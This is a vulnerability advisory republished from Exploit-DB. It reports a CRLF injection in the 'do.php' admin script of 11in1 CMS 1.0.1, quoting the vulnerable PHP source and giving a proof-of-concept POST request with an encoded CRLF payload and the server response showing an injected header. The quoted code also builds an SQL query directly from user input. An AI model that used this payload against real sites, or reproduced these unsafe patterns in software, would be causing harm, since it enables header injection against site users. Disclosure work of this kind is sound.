11in1 CMS 1.0.1 – ‘do.php’ CRLF Injection

Exploit Database
122 阅读

作者： LiquidWorm

日期： 2011-11-08
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18095/

100

101

102

11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability

Vendor: 11in1

Product web page: http://www.11in1.org

Affected version: 1.0.1

Summary: Eleven in One is an open-source content management

system (CMS) that is powered by PHP and MySQL. It does not

only help you manage your personal blog but also maintain

your postings at social networks. By establishing consistency

among the data transmitted from and to the blog, this CMS

sustains continuous harmonization of your data over time.

Desc: Input passed to the 'content' parameter in 'do.php' on

line 2112 is not properly sanitised before being returned to

the user. This can be exploited to insert arbitrary HTTP

headers, which are included in a response sent to the user.

==============================================================

/admin/do.php:

--------------------------------------------------------------

2088: // update status

2089: else if(($action == "postStatus")&&($_SERVER["REQUEST_METHOD"] == "POST")&&($_SESSION['admin'] == 1))

2090: {

2091: $content = htmlspecialchars($_POST['content']);

2092:

2093: // Get database information

2094: $Database = new Database;

2095: $info = $Database->getInfo();

2096:

2097: // connect to database

2098: $conn = mysql_connect($info[0], $info[1], $info[2]);

2099: mysql_select_db($info[3], $conn);

2100:

2101: $date = date("Y-m-d H:i:s");

2102:

2103: // clear table

2104: $result = mysql_query("INSERT INTO 11in1_streamline (content, date) VALUES ('$content', '$date')");

2105:

2106: // close connection to db

2107: mysql_close($conn);

2108:

2109: // prepare success message

2110: $_SESSION['msg'] = array("title" => $lang_backend_request_executed, "msg" => $lang_backend_statusPosted, "url" => "streamline.php", "button" => $lang_error_goBack);

2111:

2112: header("Location: msg.php?connect=yes&status=$content");

2113: }

==============================================================

Tested on: Microsoft Windows XP Professional SP3 (EN)

Apache 2.2.21

MySQL 5.5.16

PHP 5.3.8

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Zero Science Lab

Advisory ID: ZSL-2011-5055

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5055.php

06.11.2011

------

POST /11in1/admin/do.php?action=postStatus HTTP/1.1

Content-Length: 47

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=s5vsgh5cu5vfs0alihug4ut2k6; phpMyAdmin=36g6t7ggq5ildo4uiff7b5n76rpl7n9m; pma_lang=be%40latin; pma_collation_connection=cp1250_czech_cs; pma_fontsize=81%25

Host: localhost:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

content=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

HTTP/1.1 302 Found

Date: Sun, 06 Nov 2011 18:53:29 GMT

Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.8

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Location: msg.php?connect=yes&status=

ZSL-Custom-Header: love_injection

Content-Length: 1716

Keep-Alive: timeout=5, max=97

Connection: Keep-Alive

Content-Type: text/html